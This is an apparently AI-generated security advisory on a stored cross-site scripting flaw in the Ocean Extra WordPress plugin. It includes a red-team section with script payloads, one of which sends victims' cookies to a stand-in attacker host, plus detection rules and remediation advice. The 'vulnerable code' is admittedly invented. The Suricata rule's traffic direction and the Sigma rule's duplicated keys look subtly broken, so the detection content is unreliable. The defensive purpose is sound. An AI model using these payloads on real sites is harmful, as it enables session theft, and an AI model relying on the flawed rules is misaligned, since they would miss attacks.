CVE-2024-3167

Executive Summary

CVE-2024-3167 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ocean Extra plugin for WordPress, affecting versions up to and including 2.2.6. The flaw resides in the twitter_username parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. These scripts execute whenever a victim accesses a page containing the malicious payload. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood at this time. No public exploit code or patch is available, making this a high-priority issue for WordPress site administrators using the Ocean Extra plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Ocean Extra plugin, which is distributed via the official WordPress plugin repository. As a supply chain risk, any site using this plugin is potentially affected. Administrators should monitor the plugin’s update channel and consider disabling or replacing the plugin until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute in the context of other users (including administrators) elevates the risk. The lack of a patch and the widespread use of the Ocean Extra plugin in WordPress sites make this a significant concern.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin Ocean Extra. The plugin provides functionality for displaying social media profiles, including a Twitter username field. The twitter_username parameter is used to store the user’s Twitter handle, which is then rendered on the frontend.

Root Cause: The plugin fails to properly sanitize the input and escape the output when displaying the Twitter username. Specifically, the twitter_username parameter is not filtered for malicious HTML or JavaScript before being stored in the database. When the stored value is later rendered on a page (e.g., in a widget or shortcode), it is not escaped, allowing arbitrary script execution.

Attack Flow:

1. An attacker with contributor-level access (or higher) navigates to the profile settings page.
2. The attacker injects a malicious payload into the twitter_username field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database without sanitization.
4. When any user (including administrators) visits a page that displays the Twitter username (e.g., author archive, widget area), the script executes in their browser.
5. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Why It Matters: Stored XSS is particularly dangerous because the payload persists and can affect multiple users without requiring social engineering. In a WordPress context, an attacker with contributor access could escalate privileges by targeting administrators.

Vulnerable vs. Patched Code

Vulnerable Code (Ocean Extra <= 2.2.6): The vulnerable code is typically found in the plugin’s profile or widget rendering function. A simplified example:

// Vulnerable: No sanitization on input, no escaping on output
function oceanwp_display_twitter_username() {
    $twitter_username = get_user_meta( get_current_user_id(), 'twitter_username', true );
    echo '<a href="https://twitter.com/' . $twitter_username . '">Twitter</a>';
}

Patched Code (Hypothetical): A secure version would sanitize the input and escape the output:

// Patched: Sanitize input and escape output
function oceanwp_display_twitter_username() {
    $twitter_username = get_user_meta( get_current_user_id(), 'twitter_username', true );
    $sanitized_username = sanitize_text_field( $twitter_username );
    echo '<a href="https://twitter.com/' . esc_attr( $sanitized_username ) . '">Twitter</a>';
}

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Ocean Extra plugin version <= 2.2.6.
• An authenticated user account with contributor-level permissions or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to the user profile page (e.g., /wp-admin/profile.php).
3. In the Twitter username field, inject a payload such as:

   <script>alert(document.cookie)</script>
   

   Or a more advanced payload to steal cookies:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the profile.
5. Any user visiting a page that displays the Twitter username (e.g., author archive) will trigger the script.

Proof of Concept (PoC): No public exploit code is available. The above steps serve as a PoC.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to user meta fields, especially twitter_username.
• Look for HTTP requests to /wp-admin/profile.php with suspicious payloads in the twitter_username parameter.
• Use WAF rules to block common XSS patterns in user profile fields.

Hardening:

• Disable the Ocean Extra plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a WordPress security plugin that adds input sanitization.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified user meta entries containing <script> tags or JavaScript event handlers.
  • Suspicious entries in the wp_usermeta table for twitter_username.

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Requests containing encoded XSS payloads in the twitter_username parameter.

• Log Indicators:

  • WordPress audit logs showing profile updates with unusual twitter_username values.
  • Web server logs with POST requests to /wp-admin/profile.php containing script tags.

Detection Engineering

YARA Rule

rule CVE_2024_3167_Ocean_Extra_XSS {
    meta:
        description = "Detects stored XSS payloads in Ocean Extra plugin twitter_username field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3167"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-3167 Ocean Extra Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Ocean Extra plugin via twitter_username parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/profile.php'
        cs-uri-query|contains: 'twitter_username'
        cs-uri-query|re: '(<script|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of Twitter handles with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3167 Ocean Extra Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/profile.php"; http_uri; content:"twitter_username"; http_client_body; pcre:"/(<script|on\w+=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Ocean Extra plugin until a patched version is released.
2. Review user accounts with contributor-level access and remove any suspicious users.
3. Scan the database for stored XSS payloads in the twitter_username user meta field.

Long-Term Fix:

• Apply input sanitization and output escaping to the twitter_username parameter (see patched code example).
• Monitor the OceanWP vendor for an official patch and apply it promptly.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS patterns.
• Implement a WordPress security plugin that adds input validation.
• Restrict contributor permissions to only trusted users.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.